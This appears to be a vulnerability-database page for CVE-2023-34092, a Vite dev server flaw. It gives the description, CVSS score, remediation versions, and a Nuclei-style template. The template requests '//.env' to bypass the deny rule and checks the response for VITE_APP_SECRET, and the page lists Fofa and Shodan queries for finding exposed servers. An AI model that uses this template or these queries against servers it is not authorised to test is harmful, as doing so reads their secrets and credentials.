/Vulnerability Library

Vite Dev Server - Information Exposure

CVE-2023-34092
Verified

Description

Vite dev server could allow reading files from the Vite project root by bypassing server.fs.deny with double forward-slash paths (//). This affects exposed dev servers only.

Severity

High

CVSS Score

7.5

Exploit Probability

51%

Published Date

March 26, 2026

Template Author

ritikchaddha

CVE-2023-34092.yaml
id: CVE-2023-34092

info:
  name: Vite Dev Server - Information Exposure
  author: ritikchaddha
  severity: high
  description: |
    Vite dev server could allow reading files from the Vite project root by bypassing server.fs.deny with double forward-slash paths (//). This affects exposed dev servers only.
  impact: |
    Unauthenticated users can read sensitive files in the project root, potentially leading to information disclosure.
  remediation: |
    Update to Vite version 4.3.9, 4.2.3, 4.1.5, 4.0.5, 3.2.7, or 2.9.16 or later.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-353f-5xf4-qw67
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34092
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-34092
    epss-score: 0.51316
    epss-percentile: 0.97923
    cwe-id: CWE-50
  metadata:
    max-request: 2
    verified: true
    fofa-query: body="/@vite/client"
    shodan-query: http.html:"/@vite/client"
  tags: cve,cve2023,env,vite,exposure,bypass

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/.env"

    matchers:
      - type: status
        status:
          - 403
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}//.env"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "VITE_APP_SECRET"
        case-insensitive: true

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205a7ac3e391161ae648c52c1c14bbfc48a7fa22b787d88ec3c78e17233758148c022100c01260b4fb1011db26176df3a7edf99b080fab994e2772b3ba50f646b1fc5337:922c64590222798bb761d5b6d8e72950
7.5Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2023-34092
CWE ID:
cwe-50

References

https://github.com/vitejs/vite/security/advisories/GHSA-353f-5xf4-qw67https://nvd.nist.gov/vuln/detail/CVE-2023-34092

Remediation Steps

Update to Vite version 4.3.9, 4.2.3, 4.1.5, 4.0.5, 3.2.7, or 2.9.16 or later.